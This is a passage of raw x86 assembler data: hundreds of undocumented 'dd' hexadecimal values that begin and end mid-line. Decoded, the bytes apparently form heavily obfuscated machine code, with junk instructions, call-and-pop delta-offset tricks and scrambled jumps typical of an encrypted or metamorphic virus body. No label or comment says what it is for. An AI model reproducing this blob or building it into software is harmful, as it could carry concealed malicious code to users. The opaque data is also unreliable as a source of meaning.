448958C3h, 44810424h, 1D0424h, 50400000h, 0A472BC3h dd 56677CBBh, 0FF5751F6h, 0E7132995h, 51006A05h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 21EE450Ah, 0CE262ACCh, 8E5CF781h, 0E95B004Fh, 14h, 2AD753BBh dd 1553219Fh, 5A83BA4Bh, 6137C2E0h, 41D1365Ch, 810FC32Bh dd 1Eh, 0DFB70F60h, 14E9h, 3627100h, 8C18098Dh, 0B6DE4A48h dd 0F10F7B22h, 9C878EECh, 343D6107h, 0F000008h, 4086h dd 0F38B6600h, 5EE9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 8DC5B98Ch, 65DAE12Bh dd 9E8h, 0B92A2100h, 462D05BBh, 0C78184DAh, 70D7A65h, 6AC08B5Fh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 5734C353h, 1789B58Bh, 8B5F05E7h, 6AD88BC3h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 4A67C357h, 0C76DB6F3h, 0E71A5585h, 9321BD05h dd 50006A75h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 0E4E801DEh, 0F850EF7Ah, 5196DDBEh, 0E9C08B5Ah dd 0Ch, 2316B3D9h, 715D6Dh, 0BB17A04Dh, 2715BD81h, 7D005E7h dd 850F0000h, 38h, 0CE9h, 0FF1B9D00h, 488F45F5h, 5B4F7DF7h dd 1585FFAEh, 6A05E727h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 8426C352h, 0F88B66CDh dd 2715B5FFh, 8B6605E7h, 0C195FFF3h, 6A05E721h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 0E8CDC351h, 50006A90h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 0E98B542Fh, 0Dh, 0B045EC6h dd 9EB7B242h, 583849E2h, 11800FECh, 0E9000000h, 0Ch, 8D1B5B0Ah dd 0F730B9B1h, 0EDC8FC75h, 21159589h, 89F905E7h, 0E72C519Dh dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 60D084CBh, 1A58533h, 0CE8105E7h, 5D2A6DE2h dd 284DB501h, 0BE6605E7h, 8961596Ah, 0E7079185h, 0BDBD0105h dd 2905E71Bh, 0E72111B5h, 6AF905h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 59E83CC3h, 0B533F9CCh dd 5E7142Dh, 3199D29h, 6A05E7h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 596000C3h, 0F2B25FD4h dd 579B589h, 8B6605E7h, 55006AF3h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 8CA6BA44h, 7195463Eh dd 5EF957C8h, 0FFF6F9E9h, 0DBD33FFh, 8B05E70Bh, 10E9C1h dd 6800000h, 6D18A068h, 28A29CB4h, 8F034445h, 85895926h dd 5E724F5h, 4EBh, 66530000h, 5F1F16BEh, 1609B58Bh, 858D05E7h dd 5E71395h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 9AC35242h, 0BE669028h, 605071D0h, 758DC7BBh, 6152B37Fh dd 3ABF6690h, 0A7CF8154h, 6A1AFE2Dh, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 5B58B18h, 6A05E70Bh dd 0BABF6600h, 91858D52h, 6A05EB03h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 2515C351h dd 8299589h, 8E905E7h, 65000000h, 18CDD10Ah, 83D79AD0h dd 0FE8B05C0h, 0F08B6650h, 6A240489h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 5713C352h dd 6AAB1EDCh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 0F23F282Ch, 0B58B006Ah, 5E72C39h dd 1A4D95FFh, 8D0105E7h, 5E72A25h, 0A4AA9D8Dh, 6A05EAh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 0E9DF73C3h, 0F5806051h, 820F60h, 66000000h, 0D3FFF98Bh dd 0FFF6B70Fh, 0E714FD85h, 0D7816605h, 0E4E93D2Eh, 0E8000008h dd 0 dd 9BED815Dh, 105EB03h, 0E7177985h, 61B58905h, 8105E72Dh dd 0E72715BDh, 7D005h, 40860F00h, 6A000001h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 5071C357h, 531DF64Ah, 0BD23BE71h, 5E70961h, 12E9h, 1F8E1400h dd 2F24B5D4h, 0F8BF9014h, 0F955B60Bh, 8B351FF5h, 0E707CD9Dh dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 9BDB9B03h, 44D16373h, 81F18B5Fh, 100E3h dd 0F9B70F00h, 850FDB0Bh, 6Fh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 0CAC35242h, 718B72BFh, 41BD8366h dd 5EB02h, 5840Fh, 49E90000h, 0C7000000h, 0EB024185h, 105h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 0B70FB7FAh, 1820FFEh, 0F5000000h, 13E9h dd 59858900h, 0C705E709h, 0EB024185h, 5, 0F18B6600h, 7CD9D8Dh dd 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 16D990C3h, 8E5E70F9h, 6EF1C781h, 2381144Eh dd 0FFFFFEFFh, 0E987B260h, 0Ah, 188EF743h, 0FF6AE6DBh dd 6661FB4Ah, 0BD8BDB8Ch, 5E71679h, 0F04C3F6h, 0AC84h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 8579F41Fh, 0C5775764h, 95BD03FBh, 0FF05E700h dd 0E7132995h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 74E46218h, 13E9h, 0F97A2600h dd 315FA90Ch, 0E82CE50Ah, 36F3CA69h, 16E4345Eh, 498D8960h dd 6105E718h, 52505090h, 0FFB8B66h, 0EE831h, 0A930000h dd 1191C19Fh, 3B00397h, 626023DBh, 0CE8h, 0C3D2500h, 55A1672Dh dd 4DD0210Ah, 5A5E5FF0h, 29609058h, 0E7271D95h, 0E8E88005h dd 438E961h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 0E9499DC3h, 0Bh, 9CA1BC35h, 0CA94F719h dd 0B00E20B0h, 0CE800h, 61780000h, 4371DE9Fh, 0B1BB1543h dd 0B5892E9Fh, 5E70129h, 0E870E65Eh, 0Ah, 9847D953h, 318269Ch dd 0BD03FC03h, 5E712D9h, 0E871E45Eh, 0Dh, 8C82846Dh, 3AF0735Ah dd 0A64A200Ch, 0AE9DCh, 70ED0000h, 0E97BB4A2h, 3C2D0B45h dd 0D8B60F5Eh, 10E9h, 406D8C00h, 567BABD1h, 8D936AA2h dd 0A7332619h, 6BAFFh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 1CE8E9C3h, 8BFEBF0Fh dd 4E8C1C3h, 7E9h, 1D255700h, 94F673C0h, 6AE2F766h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 0B473C355h, 0E8A2824Ah, 0Ch, 3F7C3335h, 28BCC6E6h, 7C26C82Fh dd 17E1BD8Bh, 2B5E05E7h, 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 12E6BF36h, 50930E49h dd 899A01BEh, 0E6819319h, 4E733C70h, 2715B5FFh, 0BD8B05E7h dd 5E72A49h, 21C195FFh, 6A05E7h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 34D4C0C3h, 19B9BD89h dd 8E0F05E7h, 6, 63DB503h, 0B005E7h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 5C35646h, 398761D0h, 11E8260Dh dd 7B000000h, 39E5D911h, 0D9374A93h, 3F19D413h, 8C0FE0BDh dd 5FF88B66h, 816670E6h, 0E498DED6h, 0EE971h, 0F3240000h dd 2BDAA768h, 0B82A8604h, 0D8F588F5h, 830F613Ch, 256h dd 2D118529h, 0B60F05E7h, 51006AD8h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 8AEC0D4Fh dd 0C500B961h, 6BAF9h, 0C38B0000h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 0B5C35242h, 0B523763Ch, 5E719D5h dd 6A04E8C1h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 6677C351h, 0ED5CEE81h, 60E2F766h dd 2861BD89h, 0B96605E7h, 2B61CDFCh, 0BE9D8h, 84870000h dd 0BD10CB5Ch, 9845245Bh, 58F18B0Ah, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 52C35343h, 0B5317C3Fh, 5E707C1h dd 880FD82Bh, 18Ah, 1C61BD29h, 7B905E7h, 89000000h, 0E711C585h dd 0C18305h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 0F6C35343h, 0A48CC1Fh, 0B2C51CA6h, 3DC78166h, 0FD93BCFh dd 14586h, 4DBE6600h, 0D98C66BEh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 1FC35545h, 55536164h, 0B589BFF4h dd 5E71C1Dh, 0F04C1F6h, 0E984h, 0DE816600h, 95FFAE24h dd 5E71329h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 0B5C35545h, 0E58B66B8h, 0FE6AAF83h, 178C0Fh, 12E90000h dd 68000000h, 9BF8AF61h, 0F4402ABEh, 22EE3478h, 0A722AA43h dd 60F560F4h, 6F5E95B8h, 0AE93Eh, 0DD9C0000h, 0D5FC907Bh dd 1CC3BD48h, 8B5B6161h, 0E70E6DBDh, 6AC32B05h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 1673C353h, 7B14B8E3h, 3D9DEE09h, 834h, 4C860Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 6E364C3h, 0A422A919h, 0E9B3F3DDh, 46h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Ah, 7AC35040h, 45114F13h dd 0C08B58A3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 44C35747h, 0F9B70F1Bh, 0C38BFE8Bh, 8B60D88Bh, 0E72BA195h dd 28E0F05h, 60000000h, 0BF0F6161h, 5D85C7FAh, 0B905E718h dd 6A7EA889h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 4805C356h, 8B6B584Dh, 0E721BDBDh dd 69BD8B05h, 8B05E70Ch, 51006AC0h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 0BA7DD836h, 0BF66DE45h dd 0BD815BD7h, 5E72715h, 7D0h, 56850Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 8BC2E8C3h, 0E725D1BDh, 0F1BF0F05h, 271585FFh, 6A05E7h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 7BF963C3h, 9598FBCh, 6682346Ch, 0C231D781h, 2715B5FFh dd 6A05E7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 61E7C6C3h, 0B7B1EECh, 0E71CDDB5h, 7DBD0905h dd 0FF05E70Ah, 0E721C195h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 61BC75B7h dd 0BD33ADBBh, 5E70BF5h, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 87FEA92Dh, 1A8E298Ch dd 0FB8B6676h, 0C8B0Fh, 0BD8B0000h, 5E71949h, 2889B529h dd 0F88B05E7h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 67C35646h, 0D0BFF893h, 0A76ABEDBh, 0C78166CCh dd 0B52BF239h dd 5E71641h, 68E0Fh, 85890000h, 5E72F31h, 11E8h, 31EE1500h dd 964EF26Bh, 9A03FE6h, 57994A95h, 0EE818052h, 14C61117h dd 0BD858B60h, 0F05E701h, 83h, 0E9B58900h, 6105E72Bh, 19BD0B5Fh dd 0F05E733h, 2B53FBB7h, 0E70559BDh, 0BD895F05h, 5E7128Dh dd 0B4DBD09h, 8B5205E7h, 6A5EFBh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 1A6619C3h, 9C3546DEh dd 0F28B666Dh, 237D8D09h, 8B6605E7h, 55006AF0h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 28A058FCh dd 2E7163D3h, 1755BD8Bh, 3CE905E7h, 6AFFFFF7h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 8546C351h, 8B4D103Bh, 51006AC1h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 786F8938h, 816934E9h dd 7C0A5CE7h, 4EB7Eh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 0AF83C357h, 8B66FE6Ah dd 50006AFEh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 611DCCA2h, 7D9D89CAh, 6605E705h, 0CE2ED681h dd 1395858Dh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 996795C3h, 50F8BF0Fh, 1847BE50h dd 895E2825h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 6A005AC3h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 8B30FF70h dd 0E72BADB5h, 9006A05h, 0E709398Dh, 850F05h, 8D000000h dd 0EB0E6D85h, 0D8D8905h, 8305E709h, 6A05C0h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 3C150AC3h dd 70992D56h, 60C611BEh, 2FEF8166h, 61C78AE1h, 50F38B90h dd 7E95250h, 23000000h, 5EF55E99h, 310FD7B9h, 87B9BF66h dd 6A90585Ah, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 7FE0C353h, 85F62213h, 6AC66Bh dd 6A5F50h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 0B4C35141h, 89B58B92h, 0F05E712h, 68Eh, 9DB53100h dd 0FF05E71Fh, 0E71A4D95h, 0C8F68105h, 6608F5EBh, 8D89F8BEh dd 0EAA4AA9Dh, 8B666005h, 0DE9D6h, 5F080000h, 0C5C8E446h dd 0CF0A6396h, 61A7A45Ch, 0BD8BD3FFh, 5E71D25h, 0B82BBE66h dd 14FD85FFh, 0FF905E7h, 0B9E9FFB7h, 0E8000008h, 0 dd 77ED815Dh, 5305EB0Eh, 0BD815EF8h, 5E72715h, 7D0h, 165860Fh dd 0BF660000h, 9D8B4FA5h, 5E721D1h, 0BE9h, 16407C00h, 352B51E2h dd 0D67E746Fh, 100E381h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 5EFA64C3h, 0DB58960h dd 8905E70Ch, 0E70355BDh, 0B58B6105h, 5E7162Dh, 7E8h, 603A8C00h dd 71ACFBD3h, 1A01B589h, 0B5E05E7h, 0A0850FDBh, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 74C1C352h, 2B540FB8h, 8950D0AEh, 0E701819Dh dd 0A6BD8305h, 5EB0Ch, 2F840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 152BF1C3h dd 6EE9h, 6820F00h, 89000000h, 0E712019Dh, 0A685C705h dd 105EB0Ch, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 3719C357h, 705119DEh dd 565C7366h, 2DE95Fh, 81660000h, 0C7590FDFh, 0EB0CA685h dd 5, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 8D50D648h, 0E721D19Dh, 2381F505h dd 0FFFFFEFFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 8AC35242h, 0AFC7811Eh, 66367931h, 6ADB8Ch, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 0B58942C3h, 5E72351h, 0F04C3F6h, 3C84h, 2995FF00h, 2B05E713h dd 0E717C5BDh, 860F5005h, 2, 489F88Bh, 53006A24h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 810F5C51h, 1, 495E9F9h, 890F0000h, 6, 12B5BD8Bh, 0B005E7h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 60C35141h dd 4B11BD36h, 98305466h, 8970E60Fh, 0E71CDD8Dh, 8171E405h dd 3654D5EEh, 0D8B60F5Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 80C35545h, 0CE814h, 0A4DD0000h, 44FACA86h dd 0E090CF8Eh, 8D29DF98h, 5E719EDh, 2EDF815Fh, 0BA39B7B5h dd 6, 0CE8h, 41107F00h, 4605CAD3h, 65951262h, 0CE87Ch dd 1DCB0000h, 3F2B13D6h, 0DF3CEC9Fh, 0BF0F9E38h, 8B5F5EF2h dd 0DB58BC3h, 0C105E709h, 0F76604E8h, 51006AE2h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 0FE53F11h, 0D82B03BBh, 2299BD23h, 8B5005E7h, 241C89FEh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0E9C35747h dd 0BD522257h, 0C5958995h, 0FF05E71Bh, 0E72715B5h, 0AC3FBE05h dd 95FF25AAh, 5E721C1h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 34C35040h, 29BA70D5h, 0E709F5B5h, 6850F05h dd 9000000h, 0E7253985h, 0E900B005h, 10h, 0CFAE309Ah, 9AA37FB0h dd 40D14718h, 0AE3FF4D5h, 10E870E6h, 0DC000000h, 0D6E37482h dd 839A1449h, 4D60347Ah, 8B645880h, 0E722EDB5h, 71E45F05h dd 830F613Ch, 303h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 3DC35343h, 0A296E20Dh, 0BE960h, 0C2B70000h dd 0C5D1F2F4h, 0EC9BD655h, 10E978h, 0F6710000h, 0E1D84ACAh dd 0B29ABD49h, 0A76CC2FFh, 0F6133EEh, 9589D8B6h, 5E71CF9h dd 6BAh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 7F8448F6h, 0E39B6D7h, 6AC38Bh, 3E850h dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 9F15BFC3h, 0FAA3BE62h, 0E8C11EDFh, 0EDBD3104h, 0E905E714h dd 0Fh, 1FBB8B4Ch, 2FB26A7Bh, 40B8EF92h, 66329672h, 0CE9E2F7h dd 5000000h, 39621781h, 0AD28DA12h, 0E95D02DDh, 0Dh, 31C80006h dd 7A67A03Dh, 29133C00h, 6AD82B1Bh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0ADFFC357h dd 0BD2829Ah, 8166CF40h, 584B01CEh, 2BFE8B66h, 0EC880FD8h dd 6A000001h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 86C3C356h, 0EB36E62Fh, 68E0Fh dd 0BD0B0000h, 5E72BFDh, 14E9h, 4D0CDD00h, 75EB8474h, 36177588h dd 0F8A0882Ah, 0E3EBAA02h, 7B9FFh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 91C7BAC3h dd 0F95E653Fh, 6A00C183h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 0F6DCC353h, 2597738Fh dd 8B66395Dh, 0FD93BF2h, 14E86h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 8B601102h dd 0E727758Dh, 159D8905h, 6105E702h, 8BD98C66h, 0E7228DBDh dd 4C1F605h, 0E6840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 831E44C3h, 4379BF66h dd 132995FFh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 1AB5AAC3h, 0FABB880Bh, 0CADBD29h dd 6A5B05E7h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 60B4C357h, 0DBE08166h, 2DBD096Bh dd 6105E715h, 6AC32Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 0E2B5E2C3h, 5088BA2Eh, 343D62BBh dd 0F000008h, 3B86h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 0A24645F2h, 895E263Ah dd 0E712F59Dh, 39E905h, 6E80000h, 0D3000000h, 61978FDAh dd 5EFB8B3Ch, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 71EB10C3h, 9A84C5C6h, 13E78153h dd 8B4133FDh, 0E8D88BC3h, 0Eh, 0F0AF291Fh, 0FF191426h dd 0FD5FD63h, 0B58B1B2Bh, 5E732F1h, 0CD85C75Eh, 7F05E707h dd 8B36D4EBh, 14E8F3h, 93210000h, 0AEC55032h, 62D77B8Ah dd 963AB79h, 0BD395706h, 5E9190Ah, 9F000000h, 1288E47h dd 8BC08B5Fh, 0E7040DBDh, 15BD8105h, 0D005E727h, 0F000007h dd 3D85h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 7CB59C1Dh, 56CE859h, 0BF0F6588h dd 0F0B70FF0h, 271585FFh, 958905E7h, 5E71B51h, 2E7DBD8Bh dd 0B5FF05E7h, 5E72715h, 95FFF78Bh, 5E721C1h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 1BC35040h, 39DBA1B5h dd 6F75D079h, 292DBF34h, 8E971DEh, 0E2000000h, 5C8DDC7Ch dd 904EC062h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 5CC35646h, 0EBD10045h, 7A079A60h, 0AF9B529h, 0B70F05E7h dd 55006AF2h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 850E787Eh, 6A724C33h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0EFECC352h dd 96A35B72h, 0FCAA421h, 38Ch, 0FEBF0F00h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch dd 70C35242h, 0BD8C3BD1h, 0E51A27FFh, 7B06E781h, 0BF667E93h dd 8D89F1CDh, 5E72461h, 6AF78B66h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 66F6C355h dd 8ECFCE81h, 128D0Fh, 95890000h, 5E72045h, 7E9h, 38DA8200h dd 5369F3D3h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 64C35242h, 2F16C7A9h, 0FCAC1B6h, 68Dh, 0CD9D8900h dd 8B05E716h, 0E70B89BDh, 0F769E905h, 6AFFFFh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 0B58B43C3h, 5E72055h, 0A99D8960h, 0B905E72Bh, 0FFFFFFFEh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 67C35141h dd 0E68C8EC3h, 5F41E4C5h, 0BF0F5399h, 11E95BD2h, 65000000h dd 0B4A270EDh, 0B45E97Bh, 578E3C2Dh, 443E9A71h, 6AD8D21h dd 0B86605E7h, 8D2148DFh, 5E721D1h, 22C68166h, 0AD8D8B4Bh dd 8005E706h, 0E1837FD8h, 6850F01h, 3000000h, 0E708F1BDh dd 0D18D8B05h, 8B05E721h, 0E7034995h, 1E18305h, 30850Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 0BD00FC3h, 0BE94D4Eh, 0DC000000h, 544A9ECFh dd 0B8816C24h, 60617292h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 84C35747h, 0B9A75714h, 0FFFFFFFEh, 135BD8Bh dd 8D2105E7h, 5E72979h, 1122BCBBh, 0A58D2143h, 6A05E71Bh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 0ABC1C355h, 0B866D1CBh, 0E480BF36h, 798D8B74h dd 6A05E729h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 27BDC357h, 0FFCCB68h, 28Fh, 8336B400h dd 850F01E1h, 25h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0A7C35242h, 0DBB13F7Dh, 35604CA9h, 0A58D8B96h dd 8005E71Bh, 0E183D0DFh, 27850F01h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 7B5EC353h, 0A0EF4A5Bh, 20A18D09h, 606105E7h, 0B9D6DC80h dd 0FFFFFFFEh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 9FC35646h, 0E9158E6Ah, 5, 0FDAF4CDEh, 958D2109h dd 0F05E707h, 68Fh, 4D9D8B00h, 2105E703h, 0E71A558Dh, 0C18B6605h dd 7958D8Bh, 6A05E7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 0FB5941C3h, 0BA142982h, 8589AA96h dd 5E71665h, 27698D29h, 83F505E7h, 850F01E1h, 24h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0C7C35747h, 0C94F3B0Ah dd 0DFBF0F7Ch, 1A558D8Bh, 852905E7h, 5E7016Dh, 0F01E183h dd 685h, 0C19D2900h, 6105E707h, 57006A60h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 87D3AC9Dh dd 195310Bh, 0B905E715h, 0FFFFFFFEh, 1509B58Bh, 6E905E7h dd 62000000h, 0A01D4593h, 5D8D2187h, 0F05E718h, 18Fh, 858BFC00h dd 5E716BDh, 7CD8D21h, 8D2905E7h, 5E71D19h, 185D8D8Bh dd 6A05E7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0BF0699C3h, 65AADBDBh, 0F01E183h, 2285h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 0B5BD8B66h, 8B05E713h, 0E707CD8Dh, 0A1958B05h dd 8305E704h, 850F01E1h, 29h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 90C35646h, 0C1385824h, 290FB874h dd 0E72F3DBDh, 6A606105h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 9C0C357h, 518CAFF5h dd 4029A2Dh, 271585C7h, 7D005E7h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 866272C3h dd 958B2068h, 5E713CDh, 56006A61h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 4F5B9EEEh, 8070D769h dd 0DF80B6C7h, 6107EBACh, 0E99Dh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 30E6D1C3h dd 3276B79Ah, 0BE815h, 0E9570000h, 0B0593499h, 53AC1D99h dd 0B700B9F6h, 6A585163h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 819CC356h, 0D383A948h dd 21498D89h, 0EF8105E7h, 21F00110h, 4BEBC18Bh, 2F0E0910h dd 4B1AC53Ch, 1CA4ACDAh, 5C5CD2D4h, 34CE00E4h, 0CE1BF531h dd 0D129B327h, 0C7DD5B34h, 0CE17E62Ah, 6734DF1Bh, 7B00A6DBh dd 1A00469Dh, 0D5A3EAh, 9C000000h, 0FEC919h, 0FBFE4700h dd 28000000h, 0D427E641h, 0E9C3727Dh, 0BE1h, 21718D8Bh dd 0BD8305E7h, 5E72B8Dh, 58850F00h, 29000000h, 0E72875BDh dd 1F820F05h, 0E8000000h, 13h, 42CBE61Ah, 31DEDFF2h, 5DD2B47Bh dd 211A2B30h, 29758540h, 0E724158Dh, 0B85A05h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 0B451C352h, 4C22220h, 559D2900h, 8B05E727h dd 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 